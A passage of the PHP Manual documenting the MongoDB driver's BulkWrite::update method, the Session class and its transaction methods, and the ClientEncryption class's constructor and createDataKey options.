  • MongoDB\BSON\Persistable

User Contributed Notes

There are no user contributed notes for this page.


Add an update operation to the bulk

  • ? MongoDB\Driver\BulkWrite::insert
  • MongoDB\Driver\Session ?
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Add an update operation to the bulk

MongoDB\Driver\BulkWrite::update

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::update — Add an update operation to the bulk

说明

public MongoDB\Driver\BulkWrite::update(array|object $filter, array|object $newObj, ?array $updateOptions = null): void

Adds an update operation to the MongoDB\Driver\BulkWrite.

参数

filter (array|object)

The » query predicate. An empty predicate will match all documents in the collection.

Note: When evaluating query criteria, MongoDB compares types and values according to its own » comparison rules for BSON types, which differs from PHP's comparison and type juggling rules. When matching a special BSON type the query criteria should use the respective BSON class (e.g. use MongoDB\BSON\ObjectId to match an » ObjectId).

newObj (array|object)

A document containing either update operators (e.g. $set), a replacement document (i.e. only field:value expressions), or an » aggregation pipeline.

updateOptions

updateOptions
Option | Type | Description | Default
arrayFilters array

An array of filter documents that determines which array elements to modify for an update operation on an array field. See » Specify arrayFilters for Array Update Operations in the MongoDB manual for more information.

This option is available in MongoDB 3.6+ and will result in an exception at execution time if specified for an older server version.

collation array|object

» Collation allows users to specify language-specific rules for string comparison, such as rules for lettercase and accent marks. When specifying collation, the "locale" field is mandatory; all other collation fields are optional. For descriptions of the fields, see » Collation Document.

If the collation is unspecified but the collection has a default collation, the operation uses the collation specified for the collection. If no collation is specified for the collection or for the operation, MongoDB uses the simple binary comparison used in prior versions for string comparisons.

This option is available in MongoDB 3.4+ and will result in an exception at execution time if specified for an older server version.

hint string|array|object

Index specification. Specify either the index name as a string or the index key pattern. If specified, then the query system will only consider plans using the hinted index.

This option is available in MongoDB 4.2+ and will result in an exception at execution time if specified for an older server version.

multi | bool | Update only the first matching document if false, or all matching documents true. This option cannot be true if newObj is a replacement document. | false
upsert | bool | If filter does not match an existing document, insert a single document. The document will be created from newObj if it is a replacement document (i.e. no update operators); otherwise, the operators in newObj will be applied to filter to create the new document. | false

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.7.0 | Added the "hint" option.
PECL mongodb 1.6.0 | The newObj parameter now accepts an aggregation pipeline. This feature requires MongoDB 4.2+ and will result in an exception at execution time if specified for an older server version.
PECL mongodb 1.5.0 | Using the "arrayFilters" option will result in an exception at execution time if unsupported by the server. Previously, no exception would be thrown and the option may have been ignored.
PECL mongodb 1.4.0 | Added the "arrayFilters" option.
PECL mongodb 1.2.0 | Added the "collation" option.

示例

Example #1 MongoDB\Driver\BulkWrite::update() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->update(
['x' => 2],
['$set' => ['y' => 3]],
['multi' => false, 'upsert' => false]
);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

参见

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Session class

(mongodb >=1.4.0)

简介

The MongoDB\Driver\Session class represents a client session and is returned by MongoDB\Driver\Manager::startSession(). Commands, queries, and write operations may then be associated the session.

类摘要

final class MongoDB\Driver\Session {
/* 常量 */
const string TRANSACTION_NONE = none;
const string TRANSACTION_STARTING = starting;
const string TRANSACTION_IN_PROGRESS = in_progress;
const string TRANSACTION_COMMITTED = committed;
const string TRANSACTION_ABORTED = aborted;
/* 方法 */
final public abortTransaction(): void
final public advanceClusterTime(array|object $clusterTime): void
final public advanceOperationTime(MongoDB\BSON\TimestampInterface $operationTime): void
final public commitTransaction(): void
final private __construct()
final public endSession(): void
final public getClusterTime(): ?object
final public getLogicalSessionId(): object
final public getOperationTime(): ?MongoDB\BSON\Timestamp
final public getServer(): ?MongoDB\Driver\Server
final public getTransactionOptions(): ?array
final public getTransactionState(): string
final public isDirty(): bool
final public isInTransaction(): bool
final public startTransaction(?array $options = null): void
}

预定义常量

MongoDB\Driver\Session::TRANSACTION_NONE

There is no transaction in progress.

MongoDB\Driver\Session::TRANSACTION_STARTING

A transaction has been started, but no operation has been sent to the server.

MongoDB\Driver\Session::TRANSACTION_IN_PROGRESS

A transaction is in progress.

MongoDB\Driver\Session::TRANSACTION_COMMITTED

The transaction was committed.

MongoDB\Driver\Session::TRANSACTION_ABORTED

The transaction was aborted.

Table of Contents

  • MongoDB\Driver\Session::abortTransaction — Aborts a transaction
  • MongoDB\Driver\Session::advanceClusterTime — Advances the cluster time for this session
  • MongoDB\Driver\Session::advanceOperationTime — Advances the operation time for this session
  • MongoDB\Driver\Session::commitTransaction — Commits a transaction
  • MongoDB\Driver\Session::__construct — Create a new Session (not used)
  • MongoDB\Driver\Session::endSession — Terminates a session
  • MongoDB\Driver\Session::getClusterTime — Returns the cluster time for this session
  • MongoDB\Driver\Session::getLogicalSessionId — Returns the logical session ID for this session
  • MongoDB\Driver\Session::getOperationTime — Returns the operation time for this session
  • MongoDB\Driver\Session::getServer — Returns the server to which this session is pinned
  • MongoDB\Driver\Session::getTransactionOptions — Returns options for the currently running transaction
  • MongoDB\Driver\Session::getTransactionState — Returns the current transaction state for this session
  • MongoDB\Driver\Session::isDirty — Returns whether the session has been marked as dirty
  • MongoDB\Driver\Session::isInTransaction — Returns whether a multi-document transaction is in progress
  • MongoDB\Driver\Session::startTransaction — Starts a transaction

User Contributed Notes

There are no user contributed notes for this page.


Aborts a transaction

  • ? MongoDB\Driver\Session
  • MongoDB\Driver\Session::advanceClusterTime ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Aborts a transaction

MongoDB\Driver\Session::abortTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::abortTransaction — Aborts a transaction

说明

final public MongoDB\Driver\Session::abortTransaction(): void

Terminates the multi-document transaction and rolls back any data changes made by the operations within the transaction. That is, the transaction ends without saving any of the changes made by the operations in the transaction.

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\RuntimeException if the transaction could not be aborted (e.g. a transaction was not started).

参见

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • MongoDB\Driver\Session::startTransaction() - Starts a transaction

User Contributed Notes

There are no user contributed notes for this page.


Advances the cluster time for this session

  • ? MongoDB\Driver\Session::abortTransaction
  • MongoDB\Driver\Session::advanceOperationTime ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Advances the cluster time for this session

MongoDB\Driver\Session::advanceClusterTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::advanceClusterTime — Advances the cluster time for this session

说明

final public MongoDB\Driver\Session::advanceClusterTime(array|object $clusterTime): void

Advances the cluster time for this session. If the cluster time is less than or equal to the session's current cluster time, this function is a no-op.

By using this method in conjunction with MongoDB\Driver\Session::advanceOperationTime() to copy the cluster and operation times from another session, you can ensure that operations in this session are causally consistent with the last operation in the other session.

参数

clusterTime

The cluster time is a document containing a logical timestamp and server signature. Typically, this value will be obtained by calling MongoDB\Driver\Session::getClusterTime() on another session object.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Session::advanceOperationTime() - Advances the operation time for this session
  • MongoDB\Driver\Session::getClusterTime() - Returns the cluster time for this session

User Contributed Notes

There are no user contributed notes for this page.


Advances the operation time for this session

  • ? MongoDB\Driver\Session::advanceClusterTime
  • MongoDB\Driver\Session::commitTransaction ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Advances the operation time for this session

MongoDB\Driver\Session::advanceOperationTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::advanceOperationTime — Advances the operation time for this session

说明

final public MongoDB\Driver\Session::advanceOperationTime(MongoDB\BSON\TimestampInterface $operationTime): void

Advances the operation time for this session. If the operation time is less than or equal to the session's current operation time, this function is a no-op.

By using this method in conjunction with MongoDB\Driver\Session::advanceClusterTime() to copy the operation and cluster times from another session, you can ensure that operations in this session are causally consistent with the last operation in the other session.

参数

operationTime

The operation time is a logical timestamp. Typically, this value will be obtained by calling MongoDB\Driver\Session::getOperationTime() on another session object.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Session::advanceClusterTime() - Advances the cluster time for this session
  • MongoDB\Driver\Session::getClusterTime() - Returns the cluster time for this session

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction

  • ? MongoDB\Driver\Session::advanceOperationTime
  • MongoDB\Driver\Session::__construct ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Commits a transaction

MongoDB\Driver\Session::commitTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::commitTransaction — Commits a transaction

说明

final public MongoDB\Driver\Session::commitTransaction(): void

Saves the changes made by the operations in the multi-document transaction and ends the transaction. Until the commit, none of the data changes made from within the transaction are visible outside the transaction.

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\CommandException if the server could not commit the transaction (e.g. due to conflicts, network issues). In case the exception's MongoDB\Driver\Exception\CommandException::getResultDocument() has a "errorLabels" element, and this array contains a "TransientTransactionError" or "UnUnknownTransactionCommitResult" value, it is safe to re-try the whole transaction. In newer versions of the driver, MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() should be used to test for this situation instead.
  • Throws MongoDB\Driver\Exception\RuntimeException if the transaction could not be commited (e.g. a transaction was not started).

参见

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::abortTransaction() - Aborts a transaction
  • MongoDB\Driver\Session::startTransaction() - Starts a transaction
  • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() - Returns whether an error label is associated with an exception

User Contributed Notes

There are no user contributed notes for this page.


Create a new Session (not used)

  • ? MongoDB\Driver\Session::commitTransaction
  • MongoDB\Driver\Session::endSession ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Create a new Session (not used)

MongoDB\Driver\Session::__construct

(mongodb >=1.4.0)

MongoDB\Driver\Session::__construct — Create a new Session (not used)

说明

final private MongoDB\Driver\Session::__construct()

MongoDB\Driver\Session objects are returned by MongoDB\Driver\Manager::startSession() and cannot be constructed directly.

参数

此函数没有参数。

参见

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client

User Contributed Notes

There are no user contributed notes for this page.


Terminates a session

  • ? MongoDB\Driver\Session::__construct
  • MongoDB\Driver\Session::getClusterTime ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Terminates a session

MongoDB\Driver\Session::endSession

(mongodb >=1.5.0)

MongoDB\Driver\Session::endSession — Terminates a session

说明

final public MongoDB\Driver\Session::endSession(): void

This method closes an existing session. If a transaction was associated with this session, the transaction will be aborted. After calling this method, applications should not invoke other methods on the session.

Note: Sessions are also closed during garbage collection. It should not be necessary to call this method under normal circumstances.

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::abortTransaction() - Aborts a transaction
  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • MongoDB\Driver\Session::startTransaction() - Starts a transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns the cluster time for this session

  • ? MongoDB\Driver\Session::endSession
  • MongoDB\Driver\Session::getLogicalSessionId ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the cluster time for this session

MongoDB\Driver\Session::getClusterTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::getClusterTime — Returns the cluster time for this session

说明

final public MongoDB\Driver\Session::getClusterTime(): ?object

Returns the cluster time for this session. If the session has not been used for any operation and MongoDB\Driver\Session::advanceClusterTime() has not been called, the cluster time will be null.

参数

此函数没有参数。

返回值

Returns the cluster time for this session, or null if the session has no cluster time.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Session::advanceClusterTime() - Advances the cluster time for this session

User Contributed Notes

There are no user contributed notes for this page.


Returns the logical session ID for this session

  • ? MongoDB\Driver\Session::getClusterTime
  • MongoDB\Driver\Session::getOperationTime ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the logical session ID for this session

MongoDB\Driver\Session::getLogicalSessionId

(mongodb >=1.4.0)

MongoDB\Driver\Session::getLogicalSessionId — Returns the logical session ID for this session

说明

final public MongoDB\Driver\Session::getLogicalSessionId(): object

Returns the logical session ID for this session, which may be used to identify this session's operations on the server.

参数

此函数没有参数。

返回值

Returns the logical session ID for this session.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the operation time for this session

  • ? MongoDB\Driver\Session::getLogicalSessionId
  • MongoDB\Driver\Session::getServer ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the operation time for this session

MongoDB\Driver\Session::getOperationTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::getOperationTime — Returns the operation time for this session

说明

final public MongoDB\Driver\Session::getOperationTime(): ?MongoDB\BSON\Timestamp

Returns the operation time for this session. If the session has not been used for any operation and MongoDB\Driver\Session::advanceOperationTime() has not been called, the operation time will be null

参数

此函数没有参数。

返回值

Returns the operation time for this session, or null if the session has no operation time.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Session::advanceOperationTime() - Advances the operation time for this session

User Contributed Notes

There are no user contributed notes for this page.


Returns the server to which this session is pinned

  • ? MongoDB\Driver\Session::getOperationTime
  • MongoDB\Driver\Session::getTransactionOptions ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the server to which this session is pinned

MongoDB\Driver\Session::getServer

(mongodb >=1.6.0)

MongoDB\Driver\Session::getServer — Returns the server to which this session is pinned

说明

final public MongoDB\Driver\Session::getServer(): ?MongoDB\Driver\Server

Returns the MongoDB\Driver\Server to which this session is pinned. If the session is not pinned to a server, null will be returned.

Session pinning is primarily used for sharded transactions, as all commands within a sharded transaction must be sent to the same mongos instance. This method is intended to be used by libraries built atop the extension to allow use of a pinned server instead of invoking server selection.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\Server to which this session is pinned, or null if the session is not pinned to any server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns options for the currently running transaction

  • ? MongoDB\Driver\Session::getServer
  • MongoDB\Driver\Session::getTransactionState ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns options for the currently running transaction

MongoDB\Driver\Session::getTransactionOptions

(mongodb >=1.7.0)

MongoDB\Driver\Session::getTransactionOptions — Returns options for the currently running transaction

说明

final public MongoDB\Driver\Session::getTransactionOptions(): ?array

Returns options for the currently running transaction.

参数

此函数没有参数。

返回值

Returns a array containing current transaction options, or null if no transaction is running.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Session::getTransactionState() - Returns the current transaction state for this session

User Contributed Notes

There are no user contributed notes for this page.


Returns the current transaction state for this session

  • ? MongoDB\Driver\Session::getTransactionOptions
  • MongoDB\Driver\Session::isDirty ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns the current transaction state for this session

MongoDB\Driver\Session::getTransactionState

(mongodb >=1.7.0)

MongoDB\Driver\Session::getTransactionState — Returns the current transaction state for this session

说明

final public MongoDB\Driver\Session::getTransactionState(): string

Returns the transaction state for this session.

参数

此函数没有参数。

返回值

Returns the current transaction state for this session.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Session::isInTransaction() - Returns whether a multi-document transaction is in progress
  • MongoDB\Driver\Session::getTransactionOptions() - Returns options for the currently running transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the session has been marked as dirty

  • ? MongoDB\Driver\Session::getTransactionState
  • MongoDB\Driver\Session::isInTransaction ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns whether the session has been marked as dirty

MongoDB\Driver\Session::isDirty

(mongodb >=1.13.0)

MongoDB\Driver\Session::isDirty — Returns whether the session has been marked as dirty

说明

final public MongoDB\Driver\Session::isDirty(): bool

Returns whether the session has been marked as dirty (i.e. it has been used with a command that encountered a network error).

参数

此函数没有参数。

返回值

Returns whether the session has been marked as dirty.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether a multi-document transaction is in progress

  • ? MongoDB\Driver\Session::isDirty
  • MongoDB\Driver\Session::startTransaction ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Returns whether a multi-document transaction is in progress

MongoDB\Driver\Session::isInTransaction

(mongodb >=1.6.0)

MongoDB\Driver\Session::isInTransaction — Returns whether a multi-document transaction is in progress

说明

final public MongoDB\Driver\Session::isInTransaction(): bool

Returns whether a multi-document transaction is currently in progress for this session. A transaction is considered "in progress" if it has been started but has not been committed or aborted.

参数

此函数没有参数。

返回值

Returns true if a transaction is currently in progress for this session, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Session::getTransactionState() - Returns the current transaction state for this session

User Contributed Notes

There are no user contributed notes for this page.


Starts a transaction

  • ? MongoDB\Driver\Session::isInTransaction
  • MongoDB\Driver\ClientEncryption ?
  • PHP Manual
  • MongoDB\Driver\Session
  • Starts a transaction

MongoDB\Driver\Session::startTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::startTransaction — Starts a transaction

说明

final public MongoDB\Driver\Session::startTransaction(?array $options = null): void

Starts a multi-document transaction associated with the session. At any given time, you can have at most one open transaction for a session. After starting a transaction, the session object must be passed to each operation via the "session" option (e.g. MongoDB\Driver\Manager::executeBulkWrite()) in order to associate that operation with the transaction.

Transactions can be committed through MongoDB\Driver\Session::commitTransaction(), and aborted with MongoDB\Driver\Session::abortTransaction(). Transactions are also automatically aborted when the session is closed from garbage collection or by explicitly calling MongoDB\Driver\Session::endSession().

参数

options

Options can be passed as argument to this method. Each element in this options array overrides the corresponding option from the "defaultTransactionOptions" option, if set when starting the session with MongoDB\Driver\Manager::startSession().

options
Option Type Description
maxCommitTimeMS integer

The maximum amount of time in milliseconds to allow a single commitTransaction command to run.

If specified, maxCommitTimeMS must be a signed 32-bit integer greater than or equal to zero.

readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\CommandException if the transaction could not be started because of a server-side problem (e.g. a lock could not be obtained).
  • Throws MongoDB\Driver\Exception\RuntimeException if the transaction could not be started (e.g. a transaction was already started).

更新日志

版本 | 说明
PECL mongodb 1.6.0 | The "maxCommitTimeMS" option was added.

参见

  • MongoDB\Driver\Manager::startSession() - Start a new client session for use with this client
  • MongoDB\Driver\Session::commitTransaction() - Commits a transaction
  • MongoDB\Driver\Session::abortTransaction() - Aborts a transaction

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ClientEncryption class

(mongodb >=1.7.0)

简介

The MongoDB\Driver\ClientEncryption class handles creation of data keys for client-side encryption, as well as manually encrypting and decrypting values.

类摘要

final class MongoDB\Driver\ClientEncryption {
/* 常量 */
const string AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC = AEAD_AES_256_CBC_HMAC_SHA_512-Deterministic;
const string AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM = AEAD_AES_256_CBC_HMAC_SHA_512-Random;
const string ALGORITHM_INDEXED = Indexed;
const string ALGORITHM_UNINDEXED = Unindexed;
const string ALGORITHM_RANGE_PREVIEW = RangePreview;
const string QUERY_TYPE_EQUALITY = equality;
const string QUERY_TYPE_RANGE_PREVIEW = rangePreview;
/* 方法 */
final public addKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object
final public __construct(array $options)
final public createDataKey(string $kmsProvider, ?array $options = null): MongoDB\BSON\Binary
final public decrypt(MongoDB\BSON\Binary $value): mixed
final public deleteKey(MongoDB\BSON\Binary $keyId): object
final public encrypt(mixed $value, ?array $options = null): MongoDB\BSON\Binary
final public encryptExpression(array|object $expr, ?array $options = null): object
final public getKey(MongoDB\BSON\Binary $keyId): ?object
final public getKeyByAltName(string $keyAltName): ?object
final public getKeys(): MongoDB\Driver\Cursor
final public removeKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object
final public rewrapManyDataKey(array|object $filter, ?array $options = null): object
}

预定义常量

MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_DETERMINISTIC

Specifies an algorithm for » deterministic encryption, which is suitable for querying.

MongoDB\Driver\ClientEncryption::AEAD_AES_256_CBC_HMAC_SHA_512_RANDOM

Specifies an algorithm for » randomized encryption

MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED

Specifies an algorithm for an indexed, encrypted payload, which can be used with queryable encryption.

To insert or query with an indexed, encrypted payload, the MongoDB\Driver\Manager must be configured with the "autoEncryption" driver option. The "bypassQueryAnalysis" auto encryption option may be true. The "bypassAutoEncryption" auto encryption option must be false.

MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED

Specifies an algorithm for an unindexed, encrypted payload.

MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW

Specifies an algorithm for a range, encrypted payload, which can be used with queryable encryption.

To query with a range encrypted payload, the MongoDB\Driver\Manager must be configured with the "autoEncryption" driver option. The "bypassQueryAnalysis" auto encryption option may be true. The "bypassAutoEncryption" auto encryption option must be false.

Note:

The range algorithm is experimental only. It is not intended for public use.

The PHP driver does not yet support range queries for decimal128 BSON field types.

MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY

Specifies an equality query type, which is used in conjunction with MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED.

MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW

Specifies a range query type, which is used in conjunction with MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW.

更新日志

版本 | 说明
PECL mongodb 1.16.0 | Added MongoDB\Driver\ClientEncryption::ALGORITHM_RANGE_PREVIEW and MongoDB\Driver\ClientEncryption::QUERY_TYPE_RANGE_PREVIEW.
PECL mongodb 1.14.0 | Added MongoDB\Driver\ClientEncryption::ALGORITHM_INDEXED, MongoDB\Driver\ClientEncryption::ALGORITHM_UNINDEXED, and MongoDB\Driver\ClientEncryption::QUERY_TYPE_EQUALITY

参见

  • MongoDB\Driver\Manager::createClientEncryption()

Table of Contents

  • MongoDB\Driver\ClientEncryption::addKeyAltName — Adds an alternate name to a key document
  • MongoDB\Driver\ClientEncryption::__construct — Create a new ClientEncryption object
  • MongoDB\Driver\ClientEncryption::createDataKey — Creates a key document
  • MongoDB\Driver\ClientEncryption::decrypt — Decrypt a value
  • MongoDB\Driver\ClientEncryption::deleteKey — Deletes a key document
  • MongoDB\Driver\ClientEncryption::encrypt — Encrypt a value
  • MongoDB\Driver\ClientEncryption::encryptExpression — Encrypts a match or aggregate expression
  • MongoDB\Driver\ClientEncryption::getKey — Gets a key document
  • MongoDB\Driver\ClientEncryption::getKeyByAltName — Gets a key document by an alternate name
  • MongoDB\Driver\ClientEncryption::getKeys — Gets all key documents
  • MongoDB\Driver\ClientEncryption::removeKeyAltName — Removes an alternate name from a key document
  • MongoDB\Driver\ClientEncryption::rewrapManyDataKey — Rewraps data keys

User Contributed Notes

There are no user contributed notes for this page.


Adds an alternate name to a key document

  • ? MongoDB\Driver\ClientEncryption
  • MongoDB\Driver\ClientEncryption::__construct ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Adds an alternate name to a key document

MongoDB\Driver\ClientEncryption::addKeyAltName

(mongodb >=1.15.0)

MongoDB\Driver\ClientEncryption::addKeyAltName — Adds an alternate name to a key document

说明

final public MongoDB\Driver\ClientEncryption::addKeyAltName(MongoDB\BSON\Binary $keyId, string $keyAltName): ?object

Adds keyAltName to the set of alternate names for the key document with the given UUID keyId.

参数

keyId

A MongoDB\BSON\Binary instance with subtype 4 (UUID) identifying the key document.

keyAltName

Alternate name to add to the key document.

返回值

Returns the previous version of the key document, or null if no document matched.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

参见

  • MongoDB\Driver\ClientEncryption::getKeyByAltName() - Gets a key document by an alternate name
  • MongoDB\Driver\ClientEncryption::removeKeyAltName() - Removes an alternate name from a key document

User Contributed Notes

There are no user contributed notes for this page.


Create a new ClientEncryption object

  • ? MongoDB\Driver\ClientEncryption::addKeyAltName
  • MongoDB\Driver\ClientEncryption::createDataKey ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Create a new ClientEncryption object

MongoDB\Driver\ClientEncryption::__construct

(mongodb >=1.14.0)

MongoDB\Driver\ClientEncryption::__construct — Create a new ClientEncryption object

说明

final public MongoDB\Driver\ClientEncryption::__construct(array $options)

Constructs a new MongoDB\Driver\ClientEncryption object with the specified options.

参数

options

options
Option | Type | Description
keyVaultClient | MongoDB\Driver\Manager | The Manager used to route data key queries. This option is required (unlike with MongoDB\Driver\Manager::createClientEncryption()).
keyVaultNamespace | string | A fully qualified namespace (e.g. "databaseName.collectionName") denoting the collection that contains all data keys used for encryption and decryption. This option is required.
kmsProviders array

A document containing the configuration for one or more KMS providers, which are used to encrypt data keys. Supported providers include "aws", "azure", "gcp", "kmip", and "local" and at least one must be specified.

If an empty document is specified for "aws", "azure", or "gcp", the driver will attempt to configure the provider using » Automatic Credentials.

The format for "aws" is as follows:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>,
    sessionToken: <optional string>
}

The format for "azure" is as follows:

azure: {
    tenantId: <string>,
    clientId: <string>,
    clientSecret: <string>,
    identityPlatformEndpoint: <optional string> // Defaults to "login.microsoftonline.com"
}

The format for "gcp" is as follows:

gcp: {
    email: <string>,
    privateKey: <base64 string>|<MongoDB\BSON\Binary>,
    endpoint: <optional string> // Defaults to "oauth2.googleapis.com"
}

The format for "kmip" is as follows:

kmip: {
    endpoint: <string>
}

The format for "local" is as follows:

local: {
    // 96-byte master key used to encrypt/decrypt data keys
    key: <base64 string>|<MongoDB\BSON\Binary>
}
tlsOptions array

A document containing the TLS configuration for one or more KMS providers. Supported providers include "aws", "azure", "gcp", and "kmip". All providers support the following options:

<provider>: {
    tlsCaFile: <optional string>,
    tlsCertificateKeyFile: <optional string>,
    tlsCertificateKeyFilePassword: <optional string>,
    tlsDisableOCSPEndpointCheck: <optional bool>
}

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\RuntimeException if the extension was compiled without libmongocrypt support

更新日志

版本 说明
PECL mongodb 1.16.0

The AWS KMS provider for client-side encryption now accepts a "sessionToken" option, which can be used to authenticate with temporary AWS credentials.

Added "tlsDisableOCSPEndpointCheck" to the "tlsOptions" option.

If an empty document is specified for the "azure" or "gcp" KMS provider, the driver will attempt to configure the provider using » Automatic Credentials.

PECL mongodb 1.15.0

If an empty document is specified for the "aws" KMS provider, the driver will attempt to configure the provider using » Automatic Credentials.

参见

  • MongoDB\Driver\Manager::createClientEncryption() - Create a new ClientEncryption object
  • » Explicit (Manual) Client-Side Field Level Encryption in the MongoDB manual

User Contributed Notes

There are no user contributed notes for this page.


Creates a key document

  • ? MongoDB\Driver\ClientEncryption::__construct
  • MongoDB\Driver\ClientEncryption::decrypt ?
  • PHP Manual
  • MongoDB\Driver\ClientEncryption
  • Creates a key document

MongoDB\Driver\ClientEncryption::createDataKey

(mongodb >=1.7.0)

MongoDB\Driver\ClientEncryption::createDataKey — Creates a key document

说明

final public MongoDB\Driver\ClientEncryption::createDataKey(string $kmsProvider, ?array $options = null): MongoDB\BSON\Binary

Creates a new key document and inserts it into the key vault collection.

参数

kmsProvider

The KMS provider (e.g. "local", "aws") that will be used to encrypt the new data key.

options

Data key options
Option Type Description
masterKey array

The masterKey document identifies a KMS-specific key used to encrypt the new data key. This option is required unless kmsProvider is "local".

"aws" provider options
Option | Type | Description
region | string | Required.
key | string | Required. The Amazon Resource Name (ARN) to the AWS customer master key (CMK).
endpoint | string | Optional. An alternate host identifier to send KMS requests to. May include port number.

"azure" provider options
Option | Type | Description
keyVaultEndpoint | string | Required. Host with optional port (e.g. "example.vault.azure.net").
keyName | string | Required.
keyVersion | string | Optional. A specific version of the named key. Defaults to using the key's primary version.

"gcp" provider options
Option | Type | Description
projectId | string | Required.
location | string | Required.
keyRing | string | Required.
keyName | string | Required.
keyVersion | string | Optional. A specific version of the named key. Defaults to using the key's primary version.
endpoint | string | Optional. Host with optional port. Defaults to "cloudkms.googleapis.com".

"kmip" provider options
Option | Type | Description
